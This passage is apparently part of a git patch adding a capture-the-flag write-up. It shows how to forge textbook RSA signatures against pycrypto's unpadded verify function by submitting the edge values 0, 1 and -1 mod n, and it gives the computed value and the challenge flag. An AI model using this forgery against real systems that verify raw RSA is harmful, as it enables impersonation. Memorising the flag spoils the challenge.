+2wScAUk7MuMExuKuNvvKeTZdhQeq/ZCd0otascBXk9GmsBx0eVBzG8/94Hm+9egl +eQu1DqLn/HZovaAcyIbqjunuB/KoM76DISjhmcaRyipafEJm+u9/jPHAG+8dLUuc +Wr+04D9iAFBEt5XBA2u3WaaL4/eP7hR5mR9QOxH8YilpttfQJY/78AXo+GJtECTF +LJ7zRyP1Jq89qdySJVumxwZmKP3sE7mojTb2030TDF/27v+vMVVtczyAQdybDHzj +8ainHn2SP3yTTOnjNTuGWvIcs3Qa4bv78ezTmLofpsZLoRbcx5FV2YXuiao8ezD/ +WBuIOlDZhqRiods3LN8x7gNQo8zDmwY0Z54oac2dPgIUr1AvnDbEGdqyCyJRIrnW +kLFMXdy2GJLSFMk+rswORKEtojCmqQIydW7+5M4J4FhVNyVtNuPcLfUjF+e5+V5E ++piEcAsCnQ1k9QHGZAuVxX8CAwEAAQ== +-----END PUBLIC KEY----- +``` + +### Analysis + +My first guess for this challenge was that this involves some "RSA exponent three attack" (https://www.johndcook.com/blog/2019/03/06/rsa-exponent-3/) but in fact it was actually even easier. RSA is prone to a lot of attacks if implemented and used "raw", i. e. textbook style. The crypto library used is https://github.com/dlitz/pycrypto, so I downloaded that library and looked at the verify function. + +```python + def verify(self, M, signature): + """Verify the validity of an RSA signature. + :attention: this function performs the plain, primitive RSA encryption + (*textbook*). In real applications, you always need to use proper + cryptographic padding, and you should not directly verify data with + this method. Failure to do so may lead to security vulnerabilities. + It is recommended to use modules + `Crypto.Signature.PKCS1_PSS` or `Crypto.Signature.PKCS1_v1_5` instead. +``` + +The function description confirms the suspicion that it is vulnerable which means that we are on the right track. + +Verification in case of RSA works as follows: + +If `s^e mod n` is equal to `m mod n` then the signature is valid (s is the signature, e is the public exponent, n is is the public modulus). + +### Solution + +It is obvious that the equation is true for s = m = 0 and s = m = 1. However, we have to give three forged signatures and messages. But there is another special case s = -1 because the (-1)^e = -1 if e is odd. Since e = 65537, this is the case. However, the server does not accept -1 as a message: + +``` +Message 1 you signed (hex encoded):-1 +Signature 1:-1 +Looks like you aren't Santa after all! +``` + +This can be solved by calculating `-1 mod n` so that the message is positive. This can be calculated easily with a bit of Python: + +```python +>>> hex(pow(-1, e, n)) +bb58dbdfd19995687d5cfa4e1e669a64462b6cda9ae8a31fe04db5d4d624959cadb91050cbbd73388f15f4eee2d760b88638680338fc2675e4a45babef0df33cb8a6541fc1f8a7d0ab77e8e58a96cd5862d3a2eeb82bf21b091648edcadac3321f72122a53ca97257386bffda9e1d1da06c55caeaca3cac75e9646812264e538a6b98e326fe4cd8e97e2e2cad02327a954f0a3102b389fe222f78d5cfbb296db049c01493b32e304c6e2ae36fbca79365d8507aafd909dd28b5ab1c05793d1a6b01c747950731bcffde079bef5e825790bb50ea2e7fc7668bda01cc886ea8ee9ee07f2a833be832128e199c691ca2a5a7c4266faef7f8cf1c01bef1d2d4b9c5abfb4e03f62005044b795c1036bb759a68be3f78fee1479991f503b11fc622969b6d7d0258ffbf005e8f8626d1024c52c9ef34723f526af3da9dc92255ba6c7066628fdec13b9a88d36f6d37d130c5ff6eeffaf31556d733c8041dc9b0c7ce3f1a8a71e7d923f7c934ce9e3353b865af21cb3741ae1bbfbf1ecd398ba1fa6c64ba116dcc79155d985ee89aa3c7b30ff581b883a50d986a462a1db372cdf31ee0350a3ccc39b0634679e2869cd9d3e0214af502f9c36c419dab20b225122b9d690b14c5ddcb61892d214c93eaecc0e44a12da230a6a90232756efee4ce09e0585537256d36e3dc2df52317e7b9f95e44fa9884700b029d0d64f501c6640b95c57e +``` + +Now that we have all three messages and signatures, the server gives us the flag: `AOTW{RSA_3dg3_c4s3s_ftw}` \ No newline at end of file -- 2.43.0